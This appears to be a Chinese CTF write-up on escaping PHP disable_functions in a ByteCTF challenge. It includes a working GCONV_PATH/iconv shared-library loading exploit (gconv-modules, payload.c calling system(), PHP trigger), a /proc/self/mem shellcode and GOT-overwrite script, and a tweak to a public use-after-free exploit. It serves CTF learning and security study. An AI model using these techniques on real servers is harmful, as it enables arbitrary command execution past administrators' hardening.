在刚结束的ByteCTF的中,@f1sh师傅出了一道bypass php disable_functions的题目,预期解是通过web的方式,在有putenv的情况下,无需mail/imagemagick等组件,用一种新的方式实现bypass。
最终在和@Yan表哥讨论后,我们找到了题目的预期解法--iconv,这篇文章记录一下在解题过程中我们尝试过的各种思路,比如线上赛的exception类非预期、利用php bugs中的一些uaf(向Kirin爷爷学习)、直接写/proc/self/mem、其他pwn/web的姿势。这里膜一下@Sndav师傅,通过一个pwn的洞实现php5-8通杀,降维打击非预期,orz
题目环境是php7.2.24 ubuntu1804,disable_functions和disable_classes如下:
disable_functions =pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,ini_set,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
disable_classes =Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
在对比题目的disable_functions和之前比赛的时,发现这里ban的iconv确实有点莫名其妙,于是就找到了这篇文章,但是这篇文章的姿势也是需要iconv的。那这里是否存在绕过呢?
首先来动态调一下php iconv的流程,理解文章中姿势的原理。php的iconv本质上还是调用了glibc中的iconv,因此需要gdb调试一下glibc。这里直接装了带符号的glibc,然后LD_LIBRARY_PATH设置成带符号libc.so的地址,就可以开始调试了。
gdb php
gdb-peda$ set verbose on
gdb-peda$ dir /usr/lib/debug/lib/x86_64-linux-gnu/
Source directories searched: /usr/lib/debug/lib/x86_64-linux-gnu:$cdir:$cwd
gdb-peda$ b __gconv_read_conf
gdb-peda$ r /var/www/html/1.php
从php对iconv的调用开始看。为了防止和libc命名冲突,iconv.c用PHP_NAMED_FUNCTION将iconv注册为php_if_iconv,在iconv_functions中也能看到PHP_RAW_NAMED_FE创建的iconv到php_if_iconv的映射。
PHP_RAW_NAMED_FE(iconv, php_if_iconv, arginfo_iconv)
断在php_if_iconv看一下处理过程
跟进php_iconv_string,其中调用了iconv_open(),而iconv_open就是libc中的函数了。
这里直接断在__gconv_read_conf,看看调用栈:
继续单步,根据开头的文章,进入gconv_find_shlib然后调用libc_dlopen和__libc_dlsym,调用了so中的方法,从而rce
因此,除了iconv,其他调用了iconv_open()的函数也是可以触发rce的,比如iconv_strlen,php://filter中的convert.iconv等等。
这里payload能调用到payload.so是因为iconv除了系统提供的gconv模块外,还支持使用GCONV_PATH指定的自定义gconv模块目录下的模块。因此设置GCONV_PATH后,通过我们设置的gconv-modules,就可以在编码转换时如果遇到payload编码,就回去调用payload.so了。
但是这个漏洞最终的触发还是在glibc中,而我本地mac的libc并不是glibc,使用的iconv也是mac的libiconv,看了一下实现,mac环境并不能触发这个漏洞。
gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
payload.c
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
puts("pwned");
system("touch /tmp/lfy");
exit(0);
}
1.php
<?php
putenv("GCONV_PATH=/tmp/");
// iconv_strlen("1","payload");
iconv("payload", "UTF-8", "whatever");
?>
然后gcc payload.c -o payload.so -shared -fPIC
,再php 1.php即可。
PS:
推荐下AntSword的ant.so,LD_PRELOAD设置一下劫持system后,执行命令方便很多。
在官方wp中写了:
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
此 exp 展示了两种调用 debug_backtrace() 的方法,一种是26行的直接调用,一种是24行调用 (new Exception)->getTrace() ,而题目把这两种方法都 disable 了。然而还有第三种方法可以调用,只要把24行改为 (new Error)->getTrace() 即可。
除此之外,我们还可以看到在线下赛题目的disable_functions和disable_classes中,多了很多很多Exception和Error类...这些类都是可以触发这个uaf的。比赛时还觉得出题人会不会ban漏一个,结果发现出题人直接从get_declared_classes()中选出来ban了(
先让我们回忆下通过LD_PRELOAD实现bypass的方式。
LD_PRELOAD设置一个在程序运行前优先加载的动态链接库,利用attribute((attribute-list)),可以通用的劫持php中新启动进程的函数,比如mail系列、Imagick等。但题目环境中这些都被ban了,imap模块也没开,因此都不能用。那么有没有其他的还没被发现的启动新进程的函数呢?
线上时我们通过get_defined_function拿到所有环境中的变量,然后参考安全客这篇文章的fuzz方式,对这些函数进行了fuzz,结果并没有找到...
参考之前对宝塔rsap绕过的文章,直接往/proc/self/mem写shellcode劫持got表,看起来也是可以的。
Kirin爷爷测试用php-cli也确实是可以覆盖的,exp如下:
<?php
function get_p64($magic){
$tmp="";
for($i=0;$i<8;$i++){
$n_tmp=($magic>>($i*8))&0xff;
$tmp.=chr($n_tmp);
}
return $tmp;
}
$leak_file = fopen('/proc/self/maps', 'r');
$base_str = fread($leak_file,12);
$pie_base= hexdec($base_str);
echo $pie_base;
$mem = fopen('/proc/self/mem', 'wb');
$shell = $pie_base + 0x0E6800;
fseek($mem, $shell);
$a="jgH\xb8/readflaPH\x89\xe71\xd21\xf6j;X\x0f\x05";
fwrite($mem, $a);
fseek($mem,$pie_base+0x0068FE68);
fwrite($mem,get_p64($shell));
readfile("123","r");
?>
然而测试apache的时候,发现没有权限。虽然/proc/self/mem是www-data的,权限也是600,但是php就是没权限获得句柄。。。
后来研究发现,apache是root运行的父进程,然后 setuid将子进程降权为www-data,/proc/self/目录属于root用户,因此子进程无权限读写。如果是nginx+php,对于低版本的php-fpm,www-data权限的子进程,/proc/self/目录属于www用户可以读写,tsrc这篇文章测试结果是php\<5.6版本是可以使用GOT表劫持。
写一下劫持GOT表的步骤,这里直接写shellcode:
之前的很多bypass是uaf等pwn下来的,就让Kirin爷爷帮忙调了几个7.2.24的uaf,发现都不行,有的只能leak,期待Sndav的姿势学习一下orz
web狗有空还是得看点bin...
https://bytectf.feishu.cn/docs/doccnqzpGCWH1hkDf5ljGdjOJYg?login_redirect_times=1#l1Qx86
https://xz.aliyun.com/t/7990
https://www.anquanke.com/post/id/197745
https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
https://security.tencent.com/index.php/blog/msg/166